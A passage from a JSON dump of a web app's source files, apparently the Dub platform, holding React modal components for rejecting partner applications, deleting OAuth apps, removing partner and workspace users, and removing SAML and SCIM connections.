setReportFraud] = useState(false);\n\n  const { executeAsync: rejectPartnerApplication, isPending } = useAction(\n    rejectPartnerApplicationAction,\n    {\n      onSuccess: async () => {\n        toast.success(\n          `Partner ${partner.email} has been rejected from your program.`,\n        );\n        setShowRejectPartnerApplicationModal(false);\n        setReportFraud(false);\n        await onConfirm?.();\n      },\n      onError: ({ error }) => {\n        toast.error(error.serverError || \"Failed to reject partner.\");\n      },\n    },\n  );\n\n  const handleConfirm = useCallback(async () => {\n    if (!workspaceId || !partner) return;\n\n    await rejectPartnerApplication({\n      workspaceId,\n      partnerId: partner.id,\n      reportFraud,\n    });\n  }, [workspaceId, partner, reportFraud, rejectPartnerApplication]);\n\n  const handleClose = useCallback(() => {\n    setShowRejectPartnerApplicationModal(false);\n    setReportFraud(false);\n  }, [setShowRejectPartnerApplicationModal]);\n\n  useKeyboardShortcut(\"r\", handleConfirm, {\n    enabled: showRejectPartnerApplicationModal,\n    ...(confirmShortcutOptions || { modal: true }),\n  });\n\n  return (\n    <Modal\n      showModal={showRejectPartnerApplicationModal}\n      setShowModal={setShowRejectPartnerApplicationModal}\n      onClose={handleClose}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Reject application</h3>\n      </div>\n\n      {partner && (\n        <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n            <div className=\"flex items-center gap-4\">\n              <PartnerAvatar partner={partner} className=\"size-10 bg-white\" />\n              <div className=\"flex min-w-0 flex-col\">\n                <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                  {partner.name}\n                </h4>\n                <p className=\"truncate text-xs text-neutral-500\">\n                  {partner.email}\n                </p>\n              </div>\n            </div>\n          </div>\n\n          <p className=\"text-sm text-neutral-600\">\n            This will reject the partner application and prevent them from\n            joining your program.\n          </p>\n\n          <label className=\"flex items-start gap-2.5\">\n            <Checkbox\n              className=\"mt-1 size-4 rounded border-neutral-300 focus:border-neutral-500 focus:ring-neutral-500 focus-visible:border-neutral-500 focus-visible:ring-neutral-500 data-[state=checked]:bg-black data-[state=indeterminate]:bg-black\"\n              checked={reportFraud}\n              onCheckedChange={(checked) => setReportFraud(Boolean(checked))}\n            />\n            <span className=\"text-sm text-neutral-600\">\n              Select this if you believe the application shows signs of fraud.\n              This helps keep the network safe.\n            </span>\n          </label>\n        </div>\n      )}\n\n      <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n        <Button\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n          onClick={handleClose}\n          disabled={isPending}\n        />\n        <Button\n          className=\"h-8 w-fit px-3\"\n          text=\"Reject\"\n          variant=\"primary\"\n          loading={isPending}\n          autoFocus\n          shortcut=\"R\"\n          onClick={handleConfirm}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useRejectPartnerApplicationModal({\n  partner,\n  onConfirm,\n  confirmShortcutOptions,\n}: {\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n  onConfirm?: () => void | Promise<void>;\n  confirmShortcutOptions?: {\n    modal?: boolean;\n    sheet?: boolean;\n  };\n}) {\n  const [\n    showRejectPartnerApplicationModal,\n    setShowRejectPartnerApplicationModal,\n  ] = useState(false);\n\n  const RejectPartnerApplicationModalCallback = useMemo(() => {\n    return (\n      <RejectPartnerApplicationModal\n        showRejectPartnerApplicationModal={showRejectPartnerApplicationModal}\n        setShowRejectPartnerApplicationModal={\n          setShowRejectPartnerApplicationModal\n        }\n        partner={partner}\n        onConfirm={onConfirm}\n        confirmShortcutOptions={confirmShortcutOptions}\n      />\n    );\n  }, [\n    showRejectPartnerApplicationModal,\n    partner,\n    onConfirm,\n    confirmShortcutOptions,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowRejectPartnerApplicationModal,\n      RejectPartnerApplicationModal: RejectPartnerApplicationModalCallback,\n    }),\n    [\n      setShowRejectPartnerApplicationModal,\n      RejectPartnerApplicationModalCallback,\n    ],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/remove-oauth-app-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { OAuthAppProps } from \"@/lib/types\";\nimport { BlurImage, Button, Logo, Modal, useMediaQuery } from \"@dub/ui\";\nimport { useRouter } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction RemoveOAuthAppModal({\n  showRemoveOAuthAppModal,\n  setShowRemoveOAuthAppModal,\n  oAuthApp,\n}: {\n  showRemoveOAuthAppModal: boolean;\n  setShowRemoveOAuthAppModal: Dispatch<SetStateAction<boolean>>;\n  oAuthApp:\n    | Pick<\n        OAuthAppProps,\n        \"id\" | \"name\" | \"description\" | \"logo\" | \"installations\"\n      >\n    | undefined;\n}) {\n  const router = useRouter();\n  const { isMobile } = useMediaQuery();\n  const [deleting, setDeleting] = useState(false);\n  const { id: workspaceId, slug: workspaceSlug, logo } = useWorkspace();\n\n  const deleteOAuthApp = async () => {\n    setDeleting(true);\n\n    const response = await fetch(\n      `/api/oauth/apps/${oAuthApp?.id}?workspaceId=${workspaceId}`,\n      {\n        method: \"DELETE\",\n        headers: { \"Content-Type\": \"application/json\" },\n      },\n    );\n\n    setDeleting(false);\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      throw new Error(error.message);\n    }\n\n    setShowRemoveOAuthAppModal(false);\n    router.push(`/${workspaceSlug}/settings/oauth-apps`);\n  };\n\n  if (!oAuthApp) {\n    return null;\n  }\n\n  return (\n    <Modal\n      showModal={showRemoveOAuthAppModal}\n      setShowModal={setShowRemoveOAuthAppModal}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 sm:px-16\">\n        {logo ? (\n          <BlurImage\n            src={logo}\n            alt=\"Workspace logo\"\n            className=\"h-10 w-10 rounded-full\"\n            width={20}\n            height={20}\n          />\n        ) : (\n          <Logo />\n        )}\n        <h3 className=\"text-lg font-medium\">Delete {oAuthApp.name}</h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          Deleting this application will invalidate any access tokens authorized\n          by users. Are you sure you want to continue?\n        </p>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n\n          toast.promise(deleteOAuthApp(), {\n            loading: \"Deleting application...\",\n            success: \"Application deleted successfully!\",\n            error: (err) => err,\n          });\n        }}\n        className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\"\n      >\n        <div>\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold text-black\">{oAuthApp.name}</span>{\" \"}\n            below\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={oAuthApp.name}\n              required\n              autoFocus={false}\n              autoComplete=\"off\"\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <Button\n          text=\"Confirm delete\"\n          variant=\"danger\"\n          loading={deleting}\n          autoFocus={!isMobile}\n          type=\"submit\"\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useRemoveOAuthAppModal({\n  oAuthApp,\n}: {\n  oAuthApp:\n    | Pick<\n        OAuthAppProps,\n        \"id\" | \"name\" | \"description\" | \"logo\" | \"installations\"\n      >\n    | undefined;\n}) {\n  const [showRemoveOAuthAppModal, setShowRemoveOAuthAppModal] = useState(false);\n\n  const RemoveOAuthAppModalCallback = useCallback(() => {\n    return (\n      <RemoveOAuthAppModal\n        showRemoveOAuthAppModal={showRemoveOAuthAppModal}\n        setShowRemoveOAuthAppModal={setShowRemoveOAuthAppModal}\n        oAuthApp={oAuthApp}\n      />\n    );\n  }, [showRemoveOAuthAppModal, setShowRemoveOAuthAppModal]);\n\n  return useMemo(\n    () => ({\n      setShowRemoveOAuthAppModal,\n      RemoveOAuthAppModal: RemoveOAuthAppModalCallback,\n    }),\n    [setShowRemoveOAuthAppModal, RemoveOAuthAppModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/remove-partner-user-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PartnerUserProps } from \"@/lib/types\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { signOut, useSession } from \"next-auth/react\";\nimport { useSearchParams } from \"next/navigation\";\n\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction RemovePartnerUserModal({\n  showRemovePartnerUserModal,\n  setShowRemovePartnerUserModal,\n  user,\n}: {\n  showRemovePartnerUserModal: boolean;\n  setShowRemovePartnerUserModal: Dispatch<SetStateAction<boolean>>;\n  user: PartnerUserProps;\n}) {\n  const { isMobile } = useMediaQuery();\n  const { data: session } = useSession();\n  const [removing, setRemoving] = useState(false);\n  const { partner } = usePartnerProfile();\n\n  const self = session?.user?.email === user.email;\n\n  const searchParams = useSearchParams();\n  const isInvite = searchParams.get(\"status\") === \"invited\";\n\n  const removePartnerUser = async () => {\n    setRemoving(true);\n\n    try {\n      const response = await fetch(\n        isInvite\n          ? `/api/partner-profile/invites?email=${encodeURIComponent(user.email)}`\n          : `/api/partner-profile/users?userId=${user.id}`,\n        {\n          method: \"DELETE\",\n          headers: { \"Content-Type\": \"application/json\" },\n        },\n      );\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      if (self) {\n        toast.success(\"You have left the partner profile!\");\n        await signOut({ callbackUrl: \"/\" });\n        return;\n      }\n\n      setShowRemovePartnerUserModal(false);\n      toast.success(\n        isInvite\n          ? \"Successfully revoked invitation!\"\n          : \"Successfully removed partner member!\",\n      );\n      await mutatePrefix(\n        `/api/partner-profile/${isInvite ? \"invites\" : \"users\"}`,\n      );\n    } catch (error) {\n      toast.error(\n        error?.message ||\n          (isInvite\n            ? \"Failed to revoke invitation.\"\n            : \"Failed to remove partner member.\"),\n      );\n    } finally {\n      setRemoving(false);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showRemovePartnerUserModal}\n      setShowModal={setShowRemovePartnerUserModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">\n          {isInvite\n            ? \"Revoke Invitation\"\n            : self\n              ? \"Leave Partner Team\"\n              : \"Remove Partner Member\"}\n        </h3>\n        <p className=\"text-sm text-neutral-500\">\n          {isInvite ? (\n            <>\n              This will revoke{\" \"}\n              <span className=\"font-semibold text-black\">\n                {user.name || user.email}\n              </span>\n              's invitation to join your partner profile. Are you sure you want\n              to continue?\n            </>\n          ) : (\n            <>\n              {self ? \"You're about to leave \" : \"This will remove \"}\n              <span className=\"font-semibold text-black\">\n                {self ? partner?.name : user.name || user.email}\n              </span>\n              {self\n                ? \". You will lose all access to this partner profile. \"\n                : \" from your partner profile. \"}\n              Are you sure you want to continue?\n            </>\n          )}\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\">\n        <div className=\"relative flex items-center gap-2 space-x-3 rounded-md border border-neutral-300 bg-white px-4 py-2\">\n          <div className=\"flex items-center gap-2\">\n            <UserAvatar user={user} className=\"size-10\" />\n            <div className=\"flex flex-col\">\n              {isInvite ? (\n                <p className=\"text-content-subtle text-sm font-medium\">\n                  {user.email}\n                </p>\n              ) : (\n                <>\n                  <p className=\"text-sm font-medium text-neutral-900\">\n                    {user.name || user.email}\n                  </p>\n                  <p className=\"text-xs text-neutral-500\">{user.email}</p>\n                </>\n              )}\n            </div>\n          </div>\n        </div>\n\n        <Button\n          text={isInvite ? \"Revoke\" : self ? \"Leave\" : \"Remove\"}\n          variant=\"danger\"\n          autoFocus={!isMobile}\n          loading={removing}\n          onClick={removePartnerUser}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useRemovePartnerUserModal({\n  user,\n}: {\n  user: PartnerUserProps;\n}) {\n  const [showRemovePartnerUserModal, setShowRemovePartnerUserModal] =\n    useState(false);\n\n  const RemovePartnerUserModalCallback = useCallback(() => {\n    return (\n      <RemovePartnerUserModal\n        showRemovePartnerUserModal={showRemovePartnerUserModal}\n        setShowRemovePartnerUserModal={setShowRemovePartnerUserModal}\n        user={user}\n      />\n    );\n  }, [showRemovePartnerUserModal, setShowRemovePartnerUserModal, user]);\n\n  return useMemo(\n    () => ({\n      setShowRemovePartnerUserModal,\n      RemovePartnerUserModal: RemovePartnerUserModalCallback,\n    }),\n    [setShowRemovePartnerUserModal, RemovePartnerUserModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/remove-saml-modal.tsx",
    "content": "import useSAML from \"@/lib/swr/use-saml\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { SAML_PROVIDERS } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction RemoveSAMLModal({\n  showRemoveSAMLModal,\n  setShowRemoveSAMLModal,\n}: {\n  showRemoveSAMLModal: boolean;\n  setShowRemoveSAMLModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const [removing, setRemoving] = useState(false);\n  const [verification, setVerification] = useState(\"\");\n  const { id } = useWorkspace();\n  const { saml, provider, mutate } = useSAML();\n  const currentProvider = useMemo(\n    () => SAML_PROVIDERS.find((p) => p.name.startsWith(provider!)),\n    [provider],\n  );\n\n  const confirmationText = \"confirm remove saml\";\n  const isVerified = verification === confirmationText;\n\n  const { isMobile } = useMediaQuery();\n\n  const removeSAML = async () => {\n    setRemoving(true);\n    if (!provider) {\n      toast.error(\"No SAML connection found\");\n      setRemoving(false);\n      return;\n    }\n    const { clientID, clientSecret } = saml.connections[0];\n    const params = new URLSearchParams({\n      clientID,\n      clientSecret,\n    });\n\n    const res = await fetch(`/api/workspaces/${id}/saml?${params}`, {\n      method: \"DELETE\",\n    });\n    setRemoving(false);\n    if (res.ok) {\n      await mutate();\n      setShowRemoveSAMLModal(false);\n      toast.success(\"SAML removed successfully\");\n    } else {\n      const { error } = await res.json();\n      toast.error(error.message);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showRemoveSAMLModal}\n      setShowModal={setShowRemoveSAMLModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Remove SAML</h3>\n        <p className=\"text-sm text-neutral-500\">\n          This will remove SAML from your workspace.{\" \"}\n          <strong className=\"font-semibold text-neutral-700\">\n            This action can't be undone\n          </strong>{\" \"}\n          – proceed with caution.\n        </p>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          await removeSAML();\n        }}\n        className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\"\n      >\n        <div className=\"relative flex items-center gap-3 rounded-md border border-neutral-300 bg-white p-4\">\n          <img\n            src={currentProvider!.logo}\n            alt={currentProvider!.name + \" logo\"}\n            className=\"h-5 w-5\"\n          />\n          <h3 className=\"line-clamp-1 text-sm font-medium text-neutral-600\">\n            {currentProvider!.name} SAML\n          </h3>\n        </div>\n\n        <div>\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">{confirmationText}</span> below\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={confirmationText}\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              value={verification}\n              onChange={(e) => setVerification(e.target.value)}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-300 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <Button\n          text=\"Remove SAML\"\n          variant=\"danger\"\n          loading={removing}\n          disabled={!isVerified}\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useRemoveSAMLModal() {\n  const [showRemoveSAMLModal, setShowRemoveSAMLModal] = useState(false);\n\n  const RemoveSAMLModalCallback = useCallback(() => {\n    return (\n      <RemoveSAMLModal\n        showRemoveSAMLModal={showRemoveSAMLModal}\n        setShowRemoveSAMLModal={setShowRemoveSAMLModal}\n      />\n    );\n  }, [showRemoveSAMLModal, setShowRemoveSAMLModal]);\n\n  return useMemo(\n    () => ({\n      setShowRemoveSAMLModal,\n      RemoveSAMLModal: RemoveSAMLModalCallback,\n    }),\n    [setShowRemoveSAMLModal, RemoveSAMLModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/remove-scim-modal.tsx",
    "content": "import useSCIM from \"@/lib/swr/use-scim\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { SAMLProviderProps } from \"@/lib/types\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { SAML_PROVIDERS } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction RemoveSCIMModal({\n  showRemoveSCIMModal,\n  setShowRemoveSCIMModal,\n}: {\n  showRemoveSCIMModal: boolean;\n  setShowRemoveSCIMModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const [removing, setRemoving] = useState(false);\n  const [verification, setVerification] = useState(\"\");\n  const { id: workspaceId } = useWorkspace();\n  const { scim, provider, mutate } = useSCIM();\n\n  const currentProvider = useMemo(\n    () => SAML_PROVIDERS.find((p) => p.scim === provider),\n    [provider],\n  ) as SAMLProviderProps;\n\n  const confirmationText = \"confirm remove scim\";\n  const isVerified = verification === confirmationText;\n\n  const { isMobile } = useMediaQuery();\n\n  const removeSCIM = async () => {\n    setRemoving(true);\n    if (!scim?.directories[0]) {\n      toast.error(\"No SCIM directories found\");\n      setRemoving(false);\n      return;\n    }\n    const { id } = scim.directories[0];\n    const params = new URLSearchParams({\n      directoryId: id,\n    });\n\n    const res = await fetch(`/api/workspaces/${workspaceId}/scim?${params}`, {\n      method: \"DELETE\",\n    });\n    setRemoving(false);\n    if (res.ok) {\n      await mutate();\n      setShowRemoveSCIMModal(false);\n      toast.success(\"SCIM directory removed successfully\");\n    } else {\n      const { error } = await res.json();\n      toast.error(error.message);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showRemoveSCIMModal}\n      setShowModal={setShowRemoveSCIMModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Remove SCIM Directory</h3>\n        <p className=\"text-sm text-neutral-500\">\n          This will remove the currently configured SCIM directory from your\n          workspace.{\" \"}\n          <strong className=\"font-semibold text-neutral-700\">\n            This action can't be undone\n          </strong>{\" \"}\n          – proceed with caution.\n        </p>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          await removeSCIM();\n        }}\n        className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\"\n      >\n        <div className=\"relative flex items-center gap-3 rounded-md border border-neutral-300 bg-white p-4\">\n          <img\n            src={currentProvider.logo}\n            alt={currentProvider.name + \" logo\"}\n            className=\"h-5 w-5\"\n          />\n          <h3 className=\"line-clamp-1 text-sm font-medium text-neutral-600\">\n            {currentProvider.name} SCIM\n          </h3>\n        </div>\n\n        <div>\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">{confirmationText}</span> below\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={confirmationText}\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              value={verification}\n              onChange={(e) => setVerification(e.target.value)}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-300 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <Button\n          text=\"Remove SCIM Directory\"\n          variant=\"danger\"\n          loading={removing}\n          disabled={!isVerified}\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useRemoveSCIMModal() {\n  const [showRemoveSCIMModal, setShowRemoveSCIMModal] = useState(false);\n\n  const RemoveSCIMModalCallback = useCallback(() => {\n    return (\n      <RemoveSCIMModal\n        showRemoveSCIMModal={showRemoveSCIMModal}\n        setShowRemoveSCIMModal={setShowRemoveSCIMModal}\n      />\n    );\n  }, [showRemoveSCIMModal, setShowRemoveSCIMModal]);\n\n  return useMemo(\n    () => ({\n      setShowRemoveSCIMModal,\n      RemoveSCIMModal: RemoveSCIMModalCallback,\n    }),\n    [setShowRemoveSCIMModal, RemoveSCIMModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/remove-workspace-user-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { TokenProps, UserProps } from \"@/lib/types\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { TriangleWarning } from \"@dub/ui/icons\";\nimport { fetcher, timeAgo } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\n\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR, { mutate } from \"swr\";\n\nfunction RemoveWorkspaceUserModal({\n  showRemoveWorkspaceUserModal,\n  setShowRemoveWorkspaceUserModal,\n  user,\n}: {\n  showRemoveWorkspaceUserModal: boolean;\n  setShowRemoveWorkspaceUserModal: Dispatch<SetStateAction<boolean>>;\n  user: Pick<UserProps, \"id\" | \"name\" | \"email\" | \"image\">;\n}) {\n  const router = useRouter();\n  const { isMobile } = useMediaQuery();\n  const { data: session } = useSession();\n  const [removing, setRemoving] = useState(false);\n  const [verification, setVerification] = useState(\"\");\n  const { id: workspaceId, name: workspaceName } = useWorkspace();\n\n  const searchParams = useSearchParams();\n  const isInvite = searchParams.get(\"status\") === \"invited\";\n\n  const { data: restrictedTokens } = useSWR<TokenProps[]>(\n    `/api/tokens?workspaceId=${workspaceId}&userId=${user.id}`,\n    fetcher<TokenProps[]>,\n  );\n\n  const removeWorkspaceUser = async () => {\n    setRemoving(true);\n\n    const response = await fetch(\n      `/api/workspaces/${workspaceId}/${\n        isInvite\n          ? `invites?email=${encodeURIComponent(user.email)}`\n          : `users?userId=${user.id}`\n      }`,\n      {\n        method: \"DELETE\",\n        headers: { \"Content-Type\": \"application/json\" },\n      },\n    );\n\n    if (response.status === 200) {\n      if (session?.user?.email === user.email) {\n        await mutate(\"/api/workspaces\");\n        router.push(\"/\");\n      } else {\n        setShowRemoveWorkspaceUserModal(false);\n        await mutatePrefix(\n          `/api/workspaces/${workspaceId}/${isInvite ? \"invites\" : \"users\"}`,\n        );\n      }\n\n      toast.success(\n        session?.user?.email === user.email\n          ? \"You have left the workspace!\"\n          : isInvite\n            ? \"Successfully revoked invitation!\"\n            : \"Successfully removed teammate!\",\n      );\n    } else {\n      const { error } = await response.json();\n      toast.error(error.message);\n    }\n\n    setRemoving(false);\n  };\n\n  const self = session?.user?.email === user.email;\n\n  const confirmationText = \"confirm remove user\";\n  const isVerified = verification === confirmationText;\n\n  const content = (\n    <>\n      {restrictedTokens && restrictedTokens.length > 0 && (\n        <div className=\"space-y-3 rounded-lg border border-amber-200 bg-amber-50 p-4\">\n          <div className=\"flex-shrink-0\">\n            <TriangleWarning className=\"size-5 text-amber-600\" />\n          </div>\n\n          <h3 className=\"text-sm font-semibold leading-5 text-amber-900\">\n            Warning: Active tokens detected\n          </h3>\n\n          <p className=\"text-sm font-normal text-amber-900\">\n            {self ? \"You have\" : \"This user has\"} {restrictedTokens.length}{\" \"}\n            active tokens. {self ? \"Leaving\" : \"Removing this user\"} will\n            invalidate these tokens and may disrupt the integration.\n          </p>\n\n          <div>\n            <ul className=\"mt-6 space-y-2\">\n              {restrictedTokens.map((token, index) => (\n                <li key={index} className=\"flex items-center justify-between\">\n                  <span className=\"text-sm font-medium leading-4 text-amber-900\">\n                    {token.name}\n                  </span>\n                  <span className=\"text-xs font-normal leading-4 text-amber-700\">\n                    used {timeAgo(token.lastUsed, { withAgo: true })}\n                  </span>\n                </li>\n              ))}\n            </ul>\n          </div>\n        </div>\n      )}\n\n      <div className=\"relative flex items-center gap-2 space-x-3 rounded-md border border-neutral-300 bg-white px-4 py-2\">\n        <div className=\"flex items-center gap-2\">\n          <UserAvatar user={user} className=\"size-10\" />\n          <div className=\"flex flex-col\">\n            <p className=\"text-sm font-medium text-neutral-900\">\n              {user.name || user.email}\n            </p>\n            <p className=\"text-xs text-neutral-500\">{user.email}</p>\n          </div>\n        </div>\n      </div>\n\n      {!isInvite && (\n        <div>\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">{confirmationText}</span> below\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={confirmationText}\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              value={verification}\n              onChange={(e) => setVerification(e.target.value)}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-300 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n      )}\n\n      <Button\n        text={self ? \"Leave\" : isInvite ? \"Revoke\" : \"Remove\"}\n        variant=\"danger\"\n        autoFocus={isInvite && !isMobile}\n        loading={removing}\n        disabled={!isInvite && !isVerified}\n        onClick={isInvite ? removeWorkspaceUser : undefined}\n      />\n    </>\n  );\n\n  return (\n    <Modal\n      showModal={showRemoveWorkspaceUserModal}\n      setShowModal={setShowRemoveWorkspaceUserModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">\n          {isInvite\n            ? \"Revoke Invitation\"\n            : self\n              ? \"Leave Workspace\"\n              : \"Remove Teammate\"}\n        </h3>\n        <p className=\"text-sm text-neutral-500\">\n          {isInvite\n            ? \"This will revoke \"\n            : self\n              ? \"You're about to leave \"\n              : \"This will remove \"}\n          <span className=\"font-semibold text-black\">\n            {self ? workspaceName : user.name || user.email}\n          </span>\n          {isInvite\n            ? \"'s invitation to join your workspace. \"\n            : self\n              ? \". You will lose all access to this workspace. \"\n              : \" from your workspace. \"}\n          Are you sure you want to continue?\n        </p>\n      </div>\n\n      {isInvite ? (\n        <div className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\">\n          {content}\n        </div>\n      ) : (\n        <form\n          onSubmit={async (e) => {\n            e.preventDefault();\n            await removeWorkspaceUser();\n          }}\n          className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\"\n        >\n          {content}\n        </form>\n      )}\n    </Modal>\n  );\n}\n\nexport function useRemoveWorkspaceUserModal({ user }: { user: UserProps }) {\n  const [showRemoveWorkspaceUserModal, setShowRemoveWorkspaceUserModal] =\n    useState(false);\n\n  const RemoveWorkspaceUserModalCallback = useCallback(() => {\n    return (\n      <RemoveWorkspaceUserModal\n        showRemoveWorkspaceUserModal={showRemoveWorkspaceUserModal}\n        setShowRemoveWorkspaceUserModal={setShowRemoveWorkspaceUserModal}\n        user={user}\n      />\n    );\n  }, [showRemoveWorkspaceUserModal, setShowRemoveWorkspaceUserModal, user]);\n\n  return useMemo(\n    () => ({\n      setShowRemoveWorkspaceUserModal,\n      RemoveWorkspaceUserModal: RemoveWorkspaceUserModalCallback,\n    }),\n    [setShowRemoveWorkspaceUserModal, RemoveWorkspaceUserModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/rename-folder-modal.tsx",
